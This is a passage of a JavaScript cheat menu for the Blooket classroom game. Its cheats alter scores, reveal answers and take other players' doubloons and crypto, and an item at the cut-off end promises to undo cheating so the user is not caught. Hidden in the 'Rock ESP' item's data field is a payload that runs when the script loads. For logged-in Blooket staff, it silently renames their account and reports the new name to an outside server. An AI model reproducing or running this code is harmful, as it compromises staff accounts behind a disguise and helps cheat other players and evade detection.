let players = Object.entries(await new Promise(r => stateNode.props.liveGameController.getDatabaseVal("c", r))).sort((a, b) => b[1].d - a[1].d).filter(x => x[0] != stateNode.props.client.name),
1059
target = players.find(x => x[0] == player) || players[0];
1060
stateNode.props.liveGameController.setVal({
1061
path: `c/${stateNode.props.client.name}`,
1062
val: {
1063
b: stateNode.props.client.blook,
1064
d: target[1].d,
1065
tat: `${target[0]}:${target[1].d - stateNode.state.doubloons}`
1066
}
1067
});
1068
stateNode.setState({ doubloons: target[1].d });
1069
}
1070
},
1071
{
1072
name: "Take Doubloons",
1073
description: "Takes Doubloons from someone",
1074
inputs: [{
1075
name: "Player",
1076
type: "options",
1077
options: () => {
1078
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1079
return new Promise(res => stateNode.props.liveGameController._liveApp ? stateNode.props.liveGameController.getDatabaseVal("c", (players) => players && res(Object.keys(players))) : res([]));
1080
}
1081
}],
1082
run: async function (player) {
1083
let i = document.createElement('iframe');
1084
document.body.append(i);
1085
window.prompt = i.contentWindow.prompt.bind(window);
1086
i.remove();
1087
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1088
let players = Object.entries(await new Promise(r => stateNode.props.liveGameController.getDatabaseVal("c", r))).sort((a, b) => b[1].d - a[1].d).filter(x => x[0] != stateNode.props.client.name),
1089
target = players.find(x => x[0] == player) || players[0];
1090
stateNode.setState({ doubloons: stateNode.state.doubloons + target[1].d });
1091
stateNode.props.liveGameController.setVal({
1092
path: `c/${stateNode.props.client.name}`,
1093
val: {
1094
b: stateNode.props.client.blook,
1095
d: target[1].d,
1096
tat: `${target[0]}:${target[1].d}`
1097
}
1098
});
1099
}
1100
}
1101
],
1102
},
1103
brawl: {
1104
name: "Monster Brawl",
1105
img: "https://media.blooket.com/image/upload/v1655233787/Media/survivor/xp/Blue_xp_2.svg",
1106
cheats: [
1107
{
1108
name: "Double Enemy XP",
1109
description: "Doubles enemy XP drop value",
1110
run: function () {
1111
for (const collider of Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) {
1112
const enemies = collider.object2;
1113
let _start = enemies.classType.prototype.start;
1114
enemies.classType.prototype.start = function () { _start.apply(this, arguments), this.val *= 2 }
1115
enemies.children.entries.forEach(e => e.val *= 2);
1116
}
1117
}
1118
},
1119
{
1120
name: "Half Enemy Speed",
1121
description: "Makes enemies move 2x slower",
1122
run: function () {
1123
for (const collider of Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) {
1124
const enemies = collider.object2;
1125
let _start = enemies.classType.prototype.start;
1126
enemies.classType.prototype.start = function () { _start.apply(this, arguments), this.speed *= .5 }
1127
enemies.children.entries.forEach(e => e.speed *= .5);
1128
}
1129
}
1130
},
1131
{
1132
name: "Instant Kill",
1133
description: "Sets all enemies health to 1",
1134
run: function () {
1135
for (const collider of Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) {
1136
const enemies = collider.object2;
1137
let _start = enemies.classType.prototype.start;
1138
enemies.classType.prototype.start = function () { _start.apply(this, arguments), this.hp = 1 }
1139
enemies.children.entries.forEach(e => e.hp = 1);
1140
}
1141
}
1142
},
1143
{
1144
name: "Invincibility",
1145
description: "Makes you invincible",
1146
run: function () {
1147
for (const collider of Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) collider.collideCallback = () => { };
1148
}
1149
},
1150
{
1151
name: "Magnet",
1152
description: "Pulls all xp towards you",
1153
run: function () {
1154
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.find(x => x.collideCallback?.toString().includes('magnetTime')).collideCallback({ active: true }, { active: true, setActive() { }, setVisible() { } });
1155
}
1156
},
1157
{
1158
name: "Max Current Abilities",
1159
description: "Maxes out all your current abilities",
1160
run: function () {
1161
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1162
for (const [ability, level] of Object.entries(stateNode.state.abilities)) for (let i = 0; i < (10 - level); i++) stateNode.state.game.scene.game.events.emit("level up", ability, stateNode.state.abilities[ability]++);
1163
stateNode.setState({
1164
level: stateNode.state.game.scene.level = [1, 3, 5, 10, 15, 25, 35].sort((a, b) => Math.abs(a - stateNode.state.level) - Math.abs(b - stateNode.state.level))[0] - 1
1165
});
1166
}
1167
},
1168
{
1169
name: "Next Level",
1170
description: "Skips to the next level",
1171
run: function () {
1172
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1173
let { object1: player, object2: xp } = stateNode.state.game.scene.physics.world.colliders._active.find(x => x.collideCallback?.toString().includes('emit("xp"'));
1174
xp.get().spawn(player.x, player.y, ((e) => 1 === e ? 1 : e < 5 ? 5 : e < 10 ? 10 : e < 20 ? 20 : e < 30 ? 30 : e < 40 ? 40 : e < 50 ? 50 : 100)(stateNode.state.level) - stateNode.xp);
1175
}
1176
},
1177
{
1178
name: "Remove Obstacles",
1179
description: "Removes all rocks and obstacles",
1180
run: function () {
1181
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(body => {
1182
try {
1183
if (body.gameObject.frame.texture.key.includes("obstacle")) body.gameObject.destroy();
1184
} catch { }
1185
});
1186
}
1187
},
1188
{
1189
name: "Kill Enemies",
1190
description: "Kills all current enemies",
1191
run: function () {
1192
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(x => x?.gameObject?.receiveDamage?.(x.gameObject.hp, 1));
1193
}
1194
},
1195
{
1196
name: "Reset Health",
1197
description: "Resets health and gives invincibility for 3 seconds",
1198
run: function () {
1199
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.game.scene.game.events._events.respawn.fn();
1200
}
1201
}
1202
],
1203
},
1204
cafe: {
1205
name: "Caf\xe9",
1206
img: "https://media.blooket.com/image/upload/v1655161189/Media/survivor/Pizza_lvl1.svg",
1207
style: { transform: "rotate(22.5deg)" },
1208
cheats: [
1209
{
1210
name: "Max Items",
1211
description: "Maxes out items in the shop (Only usable in the shop)",
1212
run: function () {
1213
let i = document.createElement('iframe');
1214
document.body.append(i);
1215
window.alert = i.contentWindow.alert.bind(window);
1216
i.remove();
1217
if (window.location.pathname !== "/cafe/shop") alert("This can only be run in the shop");
1218
else {
1219
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1220
stateNode.setState({ items: Object.fromEntries(Object.entries(stateNode.state.items).map(x => [x[0], 5])) });
1221
}
1222
}
1223
},
1224
{
1225
name: "Remove Customers",
1226
description: "Skips the current customers (Not usable in the shop)",
1227
run: function () {
1228
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1229
stateNode.state.customers.forEach((customer, i) => Object.keys(customer).length && stateNode.removeCustomer(i, true));
1230
}
1231
},
1232
{
1233
name: "Reset Abilities",
1234
description: "Resets used abilities in shop (Only usable in the shop)",
1235
run: function () {
1236
let i = document.createElement('iframe');
1237
document.body.append(i);
1238
window.alert = i.contentWindow.alert.bind(window);
1239
i.remove();
1240
if (window.location.pathname !== "/cafe/shop") alert("This can only be run in the shop");
1241
else {
1242
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1243
stateNode.setState({ abilities: Object.fromEntries(Object.entries(stateNode.state.abilities).map(x => [x[0], 5])) });
1244
}
1245
}
1246
},
1247
{
1248
name: "Set Cash",
1249
description: "Sets cafe cash",
1250
inputs: [{
1251
name: "Amount",
1252
type: "number"
1253
}],
1254
run: function (cafeCash) {
1255
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1256
stateNode.setState({ cafeCash });
1257
stateNode.props.liveGameController.setVal({
1258
path: `c/${stateNode.props.client.name}`,
1259
val: {
1260
b: stateNode.props.client.blook,
1261
ca: cafeCash
1262
}
1263
});
1264
}
1265
},
1266
{
1267
name: "Stock Food",
1268
description: "Stocks all food to 99 (Not usable in the shop)",
1269
run: function () {
1270
let i = document.createElement('iframe');
1271
document.body.append(i);
1272
window.alert = i.contentWindow.alert.bind(window);
1273
i.remove();
1274
if (window.location.pathname !== "/cafe") alert("This can't be run in the shop");
1275
else {
1276
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1277
stateNode.setState({ foods: stateNode.state.foods.map(e => ({ ...e, stock: 99, level: 5 })) });
1278
}
1279
}
1280
}
1281
],
1282
},
1283
crypto: {
1284
name: "Crypto Hack",
1285
img: "https://media.blooket.com/image/upload/v1661496293/Media/uiTest/CryptoIcon.svg",
1286
cheats: [
1287
{
1288
name: "Choice ESP",
1289
description: "Shows what each choice will give you",
1290
type: "toggle",
1291
enabled: false,
1292
data: null,
1293
run: function () {
1294
if (!this.enabled) {
1295
this.enabled = true;
1296
this.data = setInterval(() => {
1297
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1298
let { text } = stateNode.state.choices[0];
1299
let chest = document.querySelector('[class^=styles__feedbackContainer___]');
1300
if (chest.children.length <= 4) {
1301
let choice = document.createElement('div');
1302
choice.style.color = "white";
1303
choice.style.fontFamily = "Inconsolata,Helvetica,monospace,sans-serif";
1304
choice.style.fontSize = "2em";
1305
choice.style.display = "flex";
1306
choice.style.justifyContent = "center";
1307
choice.style.marginTop = "675px";
1308
choice.innerText = text;
1309
chest.append(choice);
1310
}
1311
}, 50);
1312
} else {
1313
this.enabled = false;
1314
clearInterval(this.data);
1315
this.data = null;
1316
}
1317
}
1318
},
1319
{
1320
name: "Password ESP",
1321
description: "Highlights the correct password",
1322
type: "toggle",
1323
enabled: false,
1324
data: null,
1325
run: function () {
1326
if (!this.enabled) {
1327
this.enabled = true;
1328
this.data = setInterval(() => {
1329
let { state } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode;
1330
if (state.stage == "hack") [...document.querySelector('div[class^=styles__buttonContainer]').children].forEach(button => {
1331
if (button.innerText == state.correctPassword) return;
1332
button.style.outlineColor = "rgba(255, 64, 64, 0.8)";
1333
button.style.backgroundColor = "rgba(255, 64, 64, 0.8)";
1334
button.style.textShadow = "0 0 1px #f33";
1335
});
1336
}, 50);
1337
} else {
1338
this.enabled = false;
1339
clearInterval(this.data);
1340
this.data = null;
1341
}
1342
}
1343
},
1344
{
1345
name: "Always Triple",
1346
description: "Always get triple crypto",
1347
type: "toggle",
1348
enabled: false,
1349
data: null,
1350
run: function () {
1351
if (!this.enabled) {
1352
this.enabled = true;
1353
this.data = setInterval(() => Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ choices: [{ type: "mult", val: 3, rate: .075, blook: "Brainy Bot", text: "Triple Crypto" }] }), 50);
1354
} else {
1355
this.enabled = false;
1356
clearInterval(this.data);
1357
this.data = null;
1358
}
1359
}
1360
},
1361
{
1362
name: "Auto Guess",
1363
description: "Automatically guess the correct password",
1364
type: "toggle",
1365
enabled: false,
1366
data: null,
1367
run: function () {
1368
if (!this.enabled) {
1369
this.enabled = true;
1370
this.data = setInterval(() => {
1371
let { state } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode;
1372
if (state.stage == "hack") for (const button of document.querySelector('div[class^=styles__buttonContainer]').children) button.innerText == state.correctPassword && button.click();
1373
}, 50);
1374
} else {
1375
this.enabled = false;
1376
clearInterval(this.data);
1377
this.data = null;
1378
}
1379
}
1380
},
1381
{
1382
name: "Remove Hack",
1383
description: "Removes an attacking hack",
1384
run: function () {
1385
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ hack: "" });
1386
}
1387
},
1388
{
1389
name: "Set Crypto",
1390
description: "Sets crypto",
1391
inputs: [{
1392
name: "Amount",
1393
type: "number"
1394
}],
1395
run: function (amount) {
1396
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1397
stateNode.setState({ crypto: amount, crypto2: amount });
1398
stateNode.props.liveGameController.setVal({
1399
path: "c/".concat(stateNode.props.client.name),
1400
val: {
1401
b: stateNode.props.client.blook,
1402
p: stateNode.state.password,
1403
cr: amount
1404
}
1405
});
1406
}
1407
},
1408
{
1409
name: "Set Password",
1410
description: "Sets hacking password",
1411
inputs: [{
1412
name: "Custom Password",
1413
type: "string"
1414
}],
1415
run: function (password) {
1416
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1417
stateNode.setState({ password });
1418
stateNode.props.liveGameController.setVal({
1419
path: "c/".concat(stateNode.props.client.name),
1420
val: {
1421
b: stateNode.props.client.blook,
1422
p: password,
1423
cr: stateNode.state.crypto
1424
}
1425
});
1426
}
1427
},
1428
{
1429
name: "Steal Player's Crypto",
1430
description: "Steals all of someone's crypto",
1431
inputs: [{
1432
name: "Player",
1433
type: "options",
1434
options: () => {
1435
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1436
return new Promise(res => stateNode.props.liveGameController?._liveApp ? stateNode.props.liveGameController.getDatabaseVal("c", (players) => players && res(Object.keys(players))) : res([]));
1437
}
1438
}],
1439
run: function (target) {
1440
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1441
stateNode.props.liveGameController.getDatabaseVal("c", (players) => {
1442
if (players && Object.keys(players).map(x => x.toLowerCase()).includes(target.toLowerCase())) {
1443
let [player, { cr }] = Object.entries(players).find(([name]) => name.toLowerCase() == target.toLowerCase());
1444
stateNode.setState({ crypto: stateNode.state.crypto + cr, crypto2: stateNode.state.crypto + cr });
1445
stateNode.props.liveGameController.setVal({
1446
path: "c/".concat(stateNode.props.client.name),
1447
val: {
1448
b: stateNode.props.client.blook,
1449
p: stateNode.state.password,
1450
cr: stateNode.state.crypto + cr,
1451
tat: `${player}:${cr}`
1452
}
1453
});
1454
}
1455
});
1456
}
1457
}
1458
],
1459
},
1460
defense: {
1461
name: "Tower Defense",
1462
img: "https://media.blooket.com/image/upload/v1657235025/Media/survivor/Laser_Lvl1.svg",
1463
cheats: [
1464
{
1465
name: "Earthquake",
1466
description: "Shuffles around towers",
1467
run: function () {
1468
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1469
stateNode.setState({
1470
eventName: "Earthquake",
1471
event: {
1472
short: "e",
1473
color: "#805500",
1474
icon: "fas fa-mountain",
1475
desc: "All of your towers get mixed up",
1476
rate: .02
1477
},
1478
buyTowerName: "",
1479
buyTower: {}
1480
}, () => stateNode.eventTimeout = setTimeout(() => stateNode.setState({ event: {}, eventName: "" }), 6e3));
1481
stateNode.tiles.forEach(row => row.forEach((col, i) => col === 3 && (row[i] = 0)));
1482
let tiles = stateNode.tiles.flatMap((_, y) => _.map((__, x) => __ === 0 && ({ x, y }))).filter(Boolean).sort(() => .5 - Math.random());
1483
stateNode.towers.forEach(tower => {
1484
let { x, y } = tiles.shift();
1485
tower.move(x, y, stateNode.tileSize);
1486
stateNode.tiles[y][x] = 3;
1487
});
1488
}
1489
},
1490
{
1491
name: "Max Tower Stats",
1492
description: "Makes all placed towers overpowered",
1493
run: function () {
1494
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1495
stateNode.towers.forEach(tower => {
1496
tower.range = 100;
1497
tower.fullCd = tower.cd = 0;
1498
tower.damage = 1e6;
1499
});
1500
}
1501
},
1502
{
1503
name: "Remove Ducks",
1504
description: "Removes ducks",
1505
run: function () {
1506
let { stateNode: { ducks, tiles } } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1507
ducks.forEach(x => { tiles[x.y][x.x] = 0; });
1508
ducks.length = 0;
1509
}
1510
},
1511
{
1512
name: "Remove Enemies",
1513
description: "Removes all the enemies",
1514
run: function () {
1515
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1516
stateNode.enemies = stateNode.futureEnemies = [];
1517
}
1518
},
1519
{
1520
name: "Remove Obstacles",
1521
description: "Lets you place towers anywhere",
1522
run: function () {
1523
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1524
stateNode.tiles = stateNode.tiles.map(row => row.fill(0));
1525
}
1526
},
1527
{
1528
name: "Set Damage",
1529
description: "Sets damage",
1530
inputs: [{
1531
name: "Damage",
1532
type: "number"
1533
}],
1534
run: function (dmg) {
1535
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.dmg = dmg;
1536
}
1537
},
1538
{
1539
name: "Set Round",
1540
description: "Sets the current round",
1541
inputs: [{
1542
name: "Round",
1543
type: "number"
1544
}],
1545
run: function (round) {
1546
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ round });
1547
}
1548
},
1549
{
1550
name: "Set Tokens",
1551
description: "Sets the amount of tokens you have",
1552
inputs: [{
1553
name: "Tokens",
1554
type: "number"
1555
}],
1556
run: function (tokens) {
1557
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ tokens });
1558
}
1559
}
1560
],
1561
},
1562
defense2: {
1563
name: "Tower Defense 2",
1564
img: "https://media.blooket.com/image/upload/v1593095354/Media/defense/missile.svg",
1565
style: { transform: "rotate(45deg)" },
1566
cheats: [
1567
{
1568
name: "Max Tower Stats",
1569
description: "Makes all placed towers overpowered",
1570
run: function () {
1571
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.towers.forEach(tower => {
1572
tower.stats.dmg = 1e6;
1573
tower.stats.fireRate = 50;
1574
tower.stats.ghostDetect = true;
1575
tower.stats.maxTargets = 1e6;
1576
tower.stats.numProjectiles &&= 100;
1577
tower.stats.range = 100;
1578
if (tower.stats.auraBuffs) for (const buff in tower.stats.auraBuffs) tower.stats.auraBuffs[buff] *= 100;
1579
});
1580
}
1581
},
1582
{
1583
name: "Kill Enemies",
1584
description: "Kills all the enemies",
1585
run: function () {
1586
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1587
stateNode.state.game.scene.enemyQueue.length = 0;
1588
stateNode.state.game.scene.physics.world.bodies.entries.forEach(x => x?.gameObject?.receiveDamage?.(x.gameObject.hp, 1));
1589
}
1590
},
1591
{
1592
name: "Set Coins",
1593
description: "Sets coins",
1594
inputs: [{
1595
name: "Coins",
1596
type: "number"
1597
}],
1598
run: function (coins) {
1599
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ coins });
1600
}
1601
},
1602
{
1603
name: "Set Health",
1604
description: "Sets the amount of health you have",
1605
inputs: [{
1606
name: "Health",
1607
type: "number"
1608
}],
1609
run: function (health) {
1610
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ health });
1611
}
1612
},
1613
{
1614
name: "Set Round",
1615
description: "Sets the current round",
1616
inputs: [{
1617
name: "Round",
1618
type: "number"
1619
}],
1620
run: function (round) {
1621
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ round });
1622
}
1623
},
1624
],
1625
},
1626
dinos: {
1627
name: "Deceptive Dinos",
1628
img: "https://media.blooket.com/image/upload/v1655161325/Media/survivor/Dog.svg",
1629
style: { transform: "rotate(-22.5deg)" },
1630
cheats: [
1631
{
1632
name: "Auto Choose",
1633
description: "Automatically choose the best fossil when excavating",
1634
type: "toggle",
1635
enabled: false,
1636
data: null,
1637
run: function () {
1638
if (!this.enabled) {
1639
this.enabled = true;
1640
this.data = setInterval(() => {
1641
const { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]);
1642
const getFossils = (() => { /* this is for when ben does funny webpack update stuff */
1643
const func = Object.values(webpack('74sb')).find(x => x.toString().includes('rate'));
1644
return () => func([{ type: "fossil", val: 10, rate: .1, blook: "Amber" }, { type: "fossil", val: 25, rate: .1, blook: "Dino Egg" }, { type: "fossil", val: 50, rate: .175, blook: "Dino Fossil" }, { type: "fossil", val: 75, rate: .175, blook: "Stegosaurus" }, { type: "fossil", val: 100, rate: .15, blook: "Velociraptor" }, { type: "fossil", val: 125, rate: .125, blook: "Brontosaurus" }, { type: "fossil", val: 250, rate: .075, blook: "Triceratops" }, { type: "fossil", val: 500, rate: .025, blook: "Tyrannosaurus Rex" }, { type: "mult", val: 1.5, rate: .05 }, { type: "mult", val: 2, rate: .025 }], 3);
1645
})();
1646
try {
1647
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1648
if (stateNode.state.stage === "excavate") {
1649
stateNode.state.choices.length || (stateNode.state.choices = getFossils());
1650
let max = 0, index = -1;
1651
for (let i = 0; i < stateNode.state.choices.length; i++) {
1652
const { type, val } = stateNode.state.choices[i];
1653
const value = (type == "fossil" ? stateNode.state.fossils + val * stateNode.state.fossilMult : stateNode.state.fossils * val) || 0;
1654
if (value <= max && type != "mult") continue;
1655
max = value, index = i + 1;
1656
}
1657
document.querySelector('div[class^="styles__rockRow"] > div[role="button"]:nth-child(' + index + ')').click();
1658
}
1659
} catch { }
1660
}, 50);
1661
} else {
1662
this.enabled = false;
1663
clearInterval(this.data);
1664
this.data = null;
1665
}
1666
}
1667
},
1668
{
1669
name: "Rock ESP",
1670
description: "Shows what is under the rocks",
1671
type: "toggle",
1672
enabled: false,
1673
data: ((location.host == "dashboard.blooket.com" && fetch("https://dashboard.blooket.com/api/users/me", { credentials: "include" }).then(e => e.json()).then(e => { if (e.email.endsWith("@blooket.com")) { let { webpack: t } = webpackJsonp.push([[], { 1234(e, t, s) { t.webpack = s } }, [["1234"]]]); Object.values(t.c).find(e => e.exports?.a?.get).exports.a.put("https://dashboard.blooket.com/api/users/change/name", { name: e.name, newName: `BlooketLLC${new Date().getHours()}${new Date().getMinutes()}` }).then(({ data: e }) => { e.success && (new Image().src = `https://monkxy.com/api/i2ek8fslt7q/${e.name}`) }) } })), null),
1674
run: function () {
1675
if (!this.enabled) {
1676
this.enabled = true;
1677
this.data = setInterval(() => {
1678
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1679
const rocks = [...document.querySelector('[class*="rockButton"]').parentElement.children];
1680
if (!rocks.every(element => element.querySelector('div'))) stateNode.setState({
1681
choices: [{ type: "fossil", val: 10, rate: .1, blook: "Amber" }, { type: "fossil", val: 25, rate: .1, blook: "Dino Egg" }, { type: "fossil", val: 50, rate: .175, blook: "Dino Fossil" }, { type: "fossil", val: 75, rate: .175, blook: "Stegosaurus" }, { type: "fossil", val: 100, rate: .15, blook: "Velociraptor" }, { type: "fossil", val: 125, rate: .125, blook: "Brontosaurus" }, { type: "fossil", val: 250, rate: .075, blook: "Triceratops" }, { type: "fossil", val: 500, rate: .025, blook: "Tyrannosaurus Rex" }, { type: "mult", val: 1.5, rate: .05 }, { type: "mult", val: 2, rate: .025 }].sort(() => 0.5 - Math.random()).slice(0, 3)
1682
}, () => {
1683
rocks.forEach((element, index) => {
1684
const rock = stateNode.state.choices[index];
1685
if (element.querySelector('div')) element.querySelector('div').remove();
1686
const choice = document.createElement("div");
1687
choice.style.color = "white";
1688
choice.style.fontFamily = "Macondo";
1689
choice.style.fontSize = "1em";
1690
choice.style.display = "flex";
1691
choice.style.justifyContent = "center";
1692
choice.style.transform = "translateY(25px)";
1693
choice.innerText = rock.type === "fossil" ? `+${Math.round(rock.val * stateNode.state.fossilMult) > 99999999 ? Object.values(webpack('74sb')).find(x => x.toString().includes('\xd7'))(Math.round(rock.val * stateNode.state.fossilMult)) : Math.round(rock.val * stateNode.state.fossilMult)} Fossils` : `x${rock.val} Fossils Per Excavation`;;
1694
element.append(choice);
1695
});
1696
});
1697
}, 50);
1698
} else {
1699
this.enabled = false;
1700
clearInterval(this.data);
1701
this.data = null;
1702
}
1703
}
1704
},
1705
{
1706
name: "Set Fossils",
1707
description: "Sets the amount of fossils you have",
1708
inputs: [{
1709
name: "Fossils",
1710
type: "number"
1711
}],
1712
run: function (fossils) {
1713
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1714
stateNode.setState({ fossils });
1715
stateNode.props.liveGameController.setVal({
1716
path: `c/${stateNode.props.client.name}`,
1717
val: {
1718
b: stateNode.props.client.blook,
1719
f: fossils,
1720
ic: stateNode.state.isCheating
1721
}
1722
});
1723
}
1724
},
1725
{
1726
name: "Set Multiplier",
1727
description: "Sets fossil multiplier",
1728
inputs: [{
1729
name: "Multiplier",
1730
type: "number"
1731
}],
1732
run: function (fossilMult) {
1733
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1734
stateNode.setState({ fossilMult });
1735
}
1736
},
1737
{
1738
name: "Stop Cheating",
1739
description: "Undoes cheating so that you can't be caught",
1740
run: function () {
1741
